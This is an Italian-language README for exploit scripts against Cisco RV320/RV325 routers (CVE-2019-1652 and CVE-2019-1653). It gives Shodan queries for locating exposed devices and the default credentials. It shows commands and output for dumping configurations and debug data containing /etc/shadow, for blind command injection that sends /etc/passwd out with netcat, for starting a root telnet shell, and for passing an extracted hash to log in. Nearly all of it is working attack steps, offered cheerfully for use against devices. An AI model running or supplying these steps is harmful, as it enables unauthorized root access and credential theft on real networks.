
CVE-2019-1652 /CVE-2019-1653 Exploit per il dump delle configurazioni e dei dati di debug di Cisco RV320 E Exploit Root Remoto!
CVE-2019-1653/CVE-2019-1652 Exploit per scaricare configurazioni Cisco RV320 e ottenere RCE
Implementazioni degli exploit CVE-2019-1652 e CVE-2019-1653 divulgati da Red Team Pentesting GmbH.
Ho testato questi solo su un RV320, ma secondo l'avviso Cisco, anche l'RV325 è vulnerabile.
Le seguenti query di Shodan sembrano trovarli, se sei curioso di sapere quanti ce ne sono là fuori. Sembrano essercene parecchi...
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320
Le vulnerabilità consentono quanto segue:
Nota: le credenziali predefinite sono cisco:cisco.
Per l'exploit di dump della configurazione, imposta semplicemente target, porta, ssl on/off e directory di output. Scaricherà la configurazione lì.
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$
Per l'exploit di dump dei dati di debug, è la stessa procedura, ma i dati scaricati sono più grandi e crittografati. Dovrai decifrarli usando lo script "decrypt.sh" fornito, o manualmente con openssl. Questo ti darà un file tar. L'output di debug non solo ti dà la configurazione, ma anche backup di /etc e /var, e sì, il file /etc/shadow/ è presente. Un giorno riscriverò lo script di decifratura in Python, ma per ora è una soluzione rapida.
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$
Usando le credenziali che ottieni da questi (hash), puoi quindi sfruttare CVE-2019-1652 per eseguire comandi sul dispositivo.
Alcune note sull'hash della password, prima di proseguire. In questi, nel file di configurazione, troverai una variabile chiamata PASSWD seguita da un hash md5. Questo hash md5 è md5($password.$auth_key), dove auth_key è un valore statico che puoi trovare facendo una GET / e analizzando. Ce n'è uno apparentemente comune che ho codificato nell'exploit RCE come fallback nel caso in cui la regex del parser della pagina fallisca.
CVE-2019-1652 descrive una vulnerabilità di iniezione di comandi shell banale, che richiede autenticazione. exec_cmd.py la implementa, supponendo di avere credenziali di accesso valide. "cisco:cisco" è l'impostazione predefinita, ma puoi anche craccare alcuni hash.
L'iniezione di comandi è cieca, quindi non otterrai alcun output. L'ambiente è una configurazione Busybox estremamente limitata con un netcat ridotto, e i dispositivi sono mips64, quindi non mi sono preoccupato di scrivere un exploit reverse-shell questa volta. Puoi comunque ottenere l'output dei comandi facendo cose come cat /etc/passwd | nc HOST PORT e tenendo in esecuzione un listener, o qualsiasi altra cosa.
Puoi anche iniettare un comando come telnetd -l /bin/sh -p 1337 e connetterti al servizio telnet risultante, che ti fornirà una bella shell root senza autenticazione.
Esempio di esecuzione dell'exploit qui sotto:
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# on listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin
$
Quindi, per via di Cisco, puoi effettivamente passare l'hash estratto e ottenere una sessione autenticata. Così abbiamo scritto un exploit che estrae l'hash e lo passa. Si chiama easy_access.py. Perché il percorso dei binari CGI contiene una cartella chiamata "EasyAccess".
Esempio di esecuzione di EasyAccess qui sotto...
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Gonna go grab us a config file...
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config!
{+} Extracting Creds...
{+} Got user: cisco
{+} Got password (hash): [redacted]
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: telnetd -l /bin/sh -p 1337
{+} We don't get output so... Yeah. Shits blind.
$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # id
uid=0(root) gid=99(nobody)
~ #
Buon 0wning ragazzi.